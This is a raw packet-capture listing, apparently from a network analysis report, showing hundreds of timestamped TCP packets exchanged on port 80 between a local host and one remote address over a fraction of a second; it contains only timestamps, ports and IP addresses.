Jan 10, 2025 18:14:15.197397947 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197451115 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197468042 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197494984 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.197583914 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197599888 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197618961 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197621107 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.197633982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197649002 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.197650909 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197668076 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197684050 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197700024 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.197704077 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.197737932 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233114004 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233163118 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233174086 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233180046 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233328104 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233341932 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233344078 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233362913 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233391047 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233402014 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233407021 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233423948 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233441114 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233453035 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233465910 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233542919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233558893 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233577013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233591080 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233593941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233618021 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233620882 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233638048 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233653069 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233669043 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233669043 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233689070 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233689070 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233716011 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233727932 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233731985 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233746052 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233772039 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233787060 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233788013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233804941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233814955 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233830929 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233840942 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233846903 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233861923 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233880997 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233891964 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233896971 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233925104 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233926058 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233937979 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233958960 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233967066 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.233987093 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.233994007 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234014988 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234030962 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234045982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234072924 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234072924 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234090090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234100103 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234114885 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234129906 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234129906 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234147072 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234172106 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234178066 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234193087 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234208107 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234225035 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234240055 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234250069 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234258890 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234267950 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234275103 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234286070 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234292030 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234308958 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234316111 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234324932 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234343052 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234344006 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234375954 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234381914 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234400034 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234416008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234441042 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234457970 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234462976 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234474897 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234493017 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234499931 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234514952 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234518051 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234530926 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234545946 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234570026 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234571934 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234601974 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234622002 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234637976 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234653950 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234662056 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234671116 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234685898 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234709024 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234740973 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234750032 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234765053 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234781027 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234806061 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234811068 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234831095 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234846115 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234850883 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.234863997 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.234880924 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.235038042 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235054016 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235070944 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235090017 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235091925 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.235105038 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235121012 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235124111 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.235140085 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235146999 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.235157013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235174894 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.235177040 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.235222101 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.240057945 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.247077942 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247116089 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247139931 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247155905 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247172117 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247181892 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.247189045 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247206926 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.247227907 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.256613016 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282293081 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282326937 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282341957 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282341003 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282360077 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282375097 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282398939 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282402992 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282418966 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282424927 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282435894 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282454014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282459021 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282542944 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282557011 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282572031 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282573938 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282589912 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282603025 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282608032 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282624960 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282644033 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.282644033 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.282674074 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.284111023 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284172058 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.284195900 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284213066 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284229040 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284245014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284262896 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284266949 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.284280062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.284296989 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.284318924 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320112944 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320159912 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320187092 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320214033 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320230007 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320230961 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320255041 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320256948 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320270061 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320286036 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320302010 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320317984 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320317984 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320329905 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320344925 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320363998 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320373058 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320391893 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320409060 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320409060 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320426941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320444107 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320447922 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320472956 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320487976 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320504904 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320523024 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320537090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320543051 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320555925 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320569992 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320589066 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320596933 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320614100 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320628881 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320638895 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320656061 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320671082 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320679903 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320688009 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320714951 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320729017 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320730925 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320746899 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320753098 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320763111 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320779085 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320786953 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320806026 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320822001 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320828915 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320847034 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320864916 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320868015 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320882082 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320920944 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320931911 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320946932 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320962906 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.320971966 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.320980072 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321002960 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321077108 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321093082 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321108103 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321120977 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321122885 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321141005 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321158886 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321163893 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321175098 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321187973 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321191072 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321206093 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321229935 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321244955 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321260929 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321263075 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321278095 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321293116 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321324110 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321346998 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321361065 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321361065 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321371078 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321388960 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321398020 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321405888 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321424007 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321427107 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321460009 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321491957 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321506023 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321522951 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321558952 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321665049 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321680069 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321696043 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321703911 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321713924 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321731091 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321739912 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321747065 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321763992 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321772099 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321780920 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321798086 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321803093 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321815968 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321834087 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321855068 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321891069 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321906090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321917057 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321922064 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321938992 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321943998 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.321955919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321973085 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.321979046 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.322011948 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322025061 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.322027922 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322045088 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322061062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322062969 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.322076082 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322093010 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.322110891 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.322135925 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.326193094 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.357055902 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.357100964 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.357137918 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.357172012 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.357192039 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.357208014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.357213974 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369364977 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369427919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369458914 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369488001 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369496107 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369522095 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369560003 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369590044 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369610071 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369610071 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369625092 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369642019 CET	80	61210	193.143.1.205	192.168.2.6
